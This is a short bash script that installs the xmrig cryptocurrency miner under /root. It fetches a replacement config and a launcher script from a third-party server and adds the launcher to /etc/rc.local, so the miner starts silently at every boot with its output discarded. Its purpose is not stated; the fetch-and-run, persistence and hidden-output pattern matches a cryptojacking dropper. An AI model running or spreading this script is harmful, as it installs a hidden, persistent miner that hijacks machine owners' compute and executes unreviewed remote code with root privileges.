#!/bin/bash
cd /root
mkdir xmrig
cd xmrig
wget https://github.com/C3Pool/xmrig-C3/releases/download/v6.15.0-C3/xmrig-v6.15.0-C3-linux-Static.tar.gz
tar zxvf xmrig-v6.15.0-C3-linux-Static.tar.gz
rm -rf config.json
wget http://downloads.laiboke.com/Soft/xmrig/config.json
wget http://downloads.laiboke.com/Soft/xmrig/xmrig.sh
chmod +x ./xmrig.sh
sudo sed -i -e '$i \sh /root/xmrig/xmrig.sh > /dev/null & \n' /etc/rc.local
